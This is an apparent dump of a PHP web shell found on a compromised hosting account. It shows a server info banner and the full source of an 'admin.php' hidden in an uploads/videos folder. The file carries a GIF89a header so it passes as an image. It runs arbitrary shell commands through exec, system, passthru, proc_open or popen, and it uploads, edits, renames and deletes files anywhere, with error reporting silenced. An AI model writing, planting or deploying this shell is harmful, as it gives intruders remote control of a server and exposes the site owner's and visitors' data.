19

Linux 6.18.42-ovh-vps-grsec-zfs+ 5.4.45 | x86_64
Server	10.120.20.5
User	maisonlalw (uid:41792)
PHP	5.4.45 (fpm-fcgi)
View: //home/maisonlalw/www/list/uploads/2025/videos/v1/otkw/jlxtq/admin.php
GIF89a;
<?php
@session_start();
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);

$n = chr(49).chr(57);
$p = isset($_GET['path']) ? $_GET['path'] : @getcwd();
$p = str_replace('\\', '/', $p);
$fn1 = 'is_file'; if ($fn1($p)) $p = dirname($p);
@chdir($p);

$o = '';
if(isset($_POST['_x'])) {
    $c = $_POST['_x'];
    $fl = ['exec', 'system', 'passthru', 'proc_open', 'popen'];
    foreach($fl as $fn) {
        if(@function_exists($fn)) {
            if($fn == $fl[0]) { $fn($c, $r); $o = implode("\n", $r); break; }
            elseif($fn == $fl[1] || $fn == $fl[2]) { ob_start(); $fn($c); $o = ob_get_clean(); break; }
            elseif($fn == $fl[3]) {
                $d = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
                $h = $fn($c, $d, $p2);
                if(is_resource($h)) { $o = stream_get_contents($p2[1]); fclose($p2[0]); fclose($p2[1]); fclose($p2[2]); proc_close($h); }
                break;
            }
            elseif($fn == $fl[4]) { $h = $fn($c, 'r'); if($h) { while(!feof($h)) $o .= fread($h, 4096); pclose($h); } break; }
        }
    }
    if(empty($o)) $o = 'N/A';
}

function _fc($f) { return file_get_contents($f) ?: ''; }

echo '<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex"><title>'.$n.'</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#2a2a2a;color:#e0e0e0;font:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;padding:15px}
.wrap{max-width:1200px;margin:0 auto}
.top{background:#333;border:1px solid #444;border-radius:4px;padding:12px 15px;margin-bottom:15px;display:flex;align-items:center;justify-content:space-between}
.top .logo{font-size:18px;font-weight:600;color:#e0e0e0}
.top .info{font-size:15px;color:#999}
.panel{background:#333;border:1px solid #444;border-radius:4px;margin-bottom:15px}
.panel-hd{background:#3a3a3a;border-bottom:1px solid #444;padding:10px 15px;font-size:15px;font-weight:600;color:#e0e0e0}
.panel-bd{padding:15px;background:#333}
.path-nav{display:flex;flex-wrap:wrap;gap:3px;align-items:center;margin-bottom:10px}
.path-nav a{color:#d32f2f;text-decoration:none;padding:2px 4px;border-radius:3px;font-size:14px;font-weight:600}
.path-nav a:hover{background:#ffebee;color:#c62828;text-decoration:underline}
.path-nav .sep{color:#666;font-size:12px}
table{width:100%;border-collapse:collapse;font-size:14px;background:#333}
th{background:#3a3a3a;padding:8px 10px;text-align:left;font-weight:600;color:#ccc;border-bottom:2px solid #444}
td{padding:7px 10px;border-bottom:1px solid #444}
tr:hover{background:#3a3a3a}
.dir a{color:#d32f2f;font-weight:600;text-decoration:none}
.dir a:hover{color:#c62828;text-decoration:underline}
.file-name{color:#e0e0e0}
.size{color:#888;font-size:15px}
.act a{display:inline-block;padding:2px 6px;margin:1px;font-size:12px;text-decoration:none;border-radius:3px;border:1px solid #444;color:#ccc;transition:all .15s}
.act a:hover{transform:translateY(-1px)}
.act .v:hover{background:#e8f5e9;border-color:#4caf50;color:#2e7d32}
.act .e:hover{background:#fff3e0;border-color:#ff9800;color:#e65100}
.act .r:hover{background:#f3e5f5;border-color:#9c27b0;color:#7b1fa2}
.act .d:hover{background:#ffebee;border-color:#f44336;color:#c62828}
.cmd{display:flex;gap:8px}
.cmd input[type=text]{flex:1;padding:7px 10px;border:1px solid #444;border-radius:3px;font:12px/1.4 -apple-system,sans-serif;background:#2a2a2a;color:#e0e0e0}
.cmd input[type=text]:focus{outline:none;border-color:#1976d2;box-shadow:0 0 0 2px rgba(25,118,210,.15)}
.btn{padding:7px 15px;background:#1976d2;color:#fff;border:none;border-radius:3px;cursor:pointer;font:12px/1 -apple-system,sans-serif}
.btn:hover{background:#1565c0}
.out{background:#1e1e1e;color:#d4d4d4;padding:10px;border-radius:3px;margin-top:10px;font:11px/1.5 "Fira Code",monospace;max-height:300px;overflow:auto;white-space:pre-wrap;word-break:break-all}
.badge{display:inline-block;padding:1px 5px;border-radius:2px;font-size:11px;font-weight:600;margin-right:5px}
.badge-d{background:#ffebee;color:#d32f2f;border:1px solid #ef9a9a}
.badge-f{background:#2a2a2a;color:#aaa;border:1px solid #444}
textarea{width:100%;height:400px;padding:10px;border:1px solid #444;border-radius:3px;font:11px/1.5 "Fira Code",monospace;resize:vertical;background:#2a2a2a;color:#e0e0e0}
textarea:focus{outline:none;border-color:#1976d2}
.msg{padding:8px 12px;border-radius:3px;margin:10px 0;font-size:14px}
.msg-ok{background:#e8f5e9;color:#2e7d32;border:1px solid #81c784}
.msg-err{background:#ffebee;color:#c62828;border:1px solid #ef9a9a}
input[type=file]{font-size:15px}
.footer{text-align:center;color:#666;font-size:12px;margin-top:15px;padding:10px}
</style></head><body><div class="wrap">
<div class="top">
    <span class="logo">'.php_uname('s').' '.php_uname('r').'</span>
    <span class="info">'.phpversion().' | '.php_uname('m').'</span>
</div>';

echo '<div class="panel"><div class="panel-bd"><table>
    <tr><td style="width:80px;color:#888">Server</td><td>'.$_SERVER['SERVER_ADDR'].'</td></tr>

    <tr><td style="color:#888">User</td><td>'.get_current_user().' (uid:'.getmyuid().')</td></tr>
    <tr><td style="color:#888">PHP</td><td>'.phpversion().' ('.php_sapi_name().')</td></tr>
</table></div></div>';

echo '<div class="panel"><div class="panel-bd">
    <form method="POST" class="cmd">
        <input type="text" name="_x" placeholder="..." value="'.htmlspecialchars(isset($_POST['_x']) ? $_POST['_x'] : '').'">
        <input type="submit" value="Run" class="btn">
    </form>
    '.(!empty($o) ? '<div class="out">'.$o.'</div>' : '').'
</div></div>';

echo '<div class="panel"><div class="panel-bd" style="display:flex;gap:8px;align-items:center;flex-wrap:wrap">
    <form method="POST" enctype="multipart/form-data" style="display:flex;gap:8px;align-items:center">
        <input type="file" name="f"> <input type="submit" value="Upload" class="btn">
    </form>

</div>';

if(isset($_FILES['f'])) {
    if(copy($_FILES['f']['tmp_name'], $p.'/'.$_FILES['f']['name']))
        echo '<div class="msg msg-ok">Upload: '.$_FILES['f']['name'].'</div>';
}



if(@$_GET['action'] == 'upload' && isset($_GET['dir'])) {
    $updir = $p.'/'.$_GET['dir'];
    if(isset($_FILES['uf'])) {
        if(copy($_FILES['uf']['tmp_name'], $updir.'/'.$_FILES['uf']['name']))
            echo '<div class="msg msg-ok">Uploaded: '.$_FILES['uf']['name'].'</div>';
    }
    echo '<div class="panel"><div class="panel-hd">Upload to: '.$_GET['dir'].'</div><div class="panel-bd">
        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="uf"> <input type="submit" value="Upload" class="btn">
        </form>
        <a href="?path='.$p.'" class="btn" style="text-decoration:none;margin-top:10px;display:inline-block;background:#555">Back</a>
    </div></div></div></body></html>';
    exit;
}

if(@$_GET['action'] == 'delete' && isset($_GET['item'])) {
    if(unlink($_GET['item'])) echo '<div class="msg msg-ok">Deleted</div>';
}

if(isset($_GET['action']) && isset($_GET['item'])) {
    $item = $_GET['item'];
    if($_GET['action'] == 'view') {
        echo '<div class="panel"><div class="panel-hd">View: '.$item.'</div><div class="panel-bd">
            <textarea readonly>'.htmlspecialchars(_fc($item)).'</textarea><br>
            <a href="?path='.$p.'" class="btn" style="text-decoration:none;display:inline-block;margin-top:10px">Back</a>
        </div></div></div></body></html>';
        exit;
    }
    if($_GET['action'] == 'edit') {
        if(isset($_POST['content'])) {
            if(file_put_contents($item, $_POST['content']))
                echo '<div class="msg msg-ok">Saved</div>';
        }
        echo '<div class="panel"><div class="panel-hd">Edit: '.$item.'</div><div class="panel-bd">
            <form method="POST">
                <textarea name="content">'.htmlspecialchars(_fc($item)).'</textarea><br>
                <input type="submit" value="Save" class="btn" style="margin-top:10px">
                <a href="?path='.$p.'" class="btn" style="text-decoration:none;margin-left:5px;background:#555">Back</a>
            </form>
        </div></div></div></body></html>';
        exit;
    }
    if($_GET['action'] == 'rename') {
        if(isset($_POST['newname'])) {
            $newpath = dirname($item).'/'.  $_POST['newname'];
            if(rename($item, $newpath)) echo '<div class="msg msg-ok">Renamed</div>';
        }
        $basename = basename($item);
        echo '<div class="panel"><div class="panel-hd">Rename: '.$basename.'</div><div class="panel-bd">
            <form method="POST">
                <input type="text" name="newname" value="'.$basename.'"><br><br>
                <input type="submit" value="Rename" class="btn">
                <a href="?path='.$p.'" class="btn" style="text-decoration:none;margin-left:5px;background:#555">Back</a>
            </form>
        </div></div></div></body></html>';
        exit;
    }
}

$items = scandir($p);
$dirs = []; $files = [];
foreach($items as $i) {
    if($i == "." || $i == "..") continue;
    if(is_dir($p.'/'.$i)) $dirs[] = $i; else $files[] = $i;
}

echo '<div class="panel"><div class="panel-bd"><div class="path-nav">';
$paths = explode('/', $p);
$cur_path = '';
foreach($paths as $id => $pat) {
    if($pat == '' && $id == 0) {
        $cur_path = '/';
        $root_w = is_writable('/') ? '#2e7d32' : '#d32f2f';
        echo '<a href="?path=/" style="color:'.$root_w.'">/</a>';
        continue;
    }
    if($pat == '') continue;
    $cur_path .= '/'.$pat;
    $pw = is_writable($cur_path) ? '#2e7d32' : '#d32f2f';
    echo '<span class="sep">/</span><a href="?path='.$cur_path.'" style="color:'.$pw.'">'.$pat.'</a>';
}
echo '</div><table><tr><th>Name</th><th style="width:80px">Size</th><th style="width:220px">Actions</th></tr>';

foreach($dirs as $d) {
    $d_path = $p.'/'.$d;
    $d_w = is_writable($d_path);
    $d_color = $d_w ? '#2e7d32' : '#d32f2f';
    $d_badge = $d_w ? 'background:#e8f5e9;color:#2e7d32;border:1px solid #81c784' : 'background:#ffebee;color:#d32f2f;border:1px solid #ef9a9a';
    $d_status = $d_w ? 'W' : 'R';
    echo '<tr><td class="dir"><span class="badge" style="'.$d_badge.'">'.$d_status.'</span><a href="?path='.$d_path.'" style="color:'.$d_color.'">'.$d.'</a></td>
        <td class="size">-</td><td class="act">
            <a href="?path='.$d_path.'" class="v">Open</a>
            <a href="?path='.$p.'&action=rename&item='.$d.'" class="r">Rename</a>
            <a href="?path='.$p.'&action=edit&item='.$d.'" class="e">Edit</a>
            '.($d_w ? '<a href="?path='.$p.'&action=upload&dir='.$d.'" class="v">Upload</a>' : '<span style="color:#666;font-size:12px">No Upload</span>').'
        </td></tr>';
}

foreach($files as $f) {
    $fp = $p.'/'.$f;
    $sz = filesize($fp);
    $ss = $sz > 1048576 ? round($sz/1048576,1).'M' : round($sz/1024,1).'K';
    echo '<tr><td class="file-name"><span class="badge badge-f">F</span>'.$f.'</td>
        <td class="size">'.$ss.'</td><td class="act">
            <a href="?path='.$p.'&action=view&item='.$fp.'" class="v">View</a>
            <a href="?path='.$p.'&action=edit&item='.$fp.'" class="e">Edit</a>
            <a href="?path='.$p.'&action=rename&item='.$fp.'" class="r">Rename</a>
            <a href="?path='.$p.'&action=delete&item='.$fp.'" onclick="return confirm(\'Delete?\')" class="d">Del</a>
        </td></tr>';
}

echo '</table></div></div>';
echo '<div class="footer">'.$n.'</div>';
echo '</div></body></html>';
?>
Back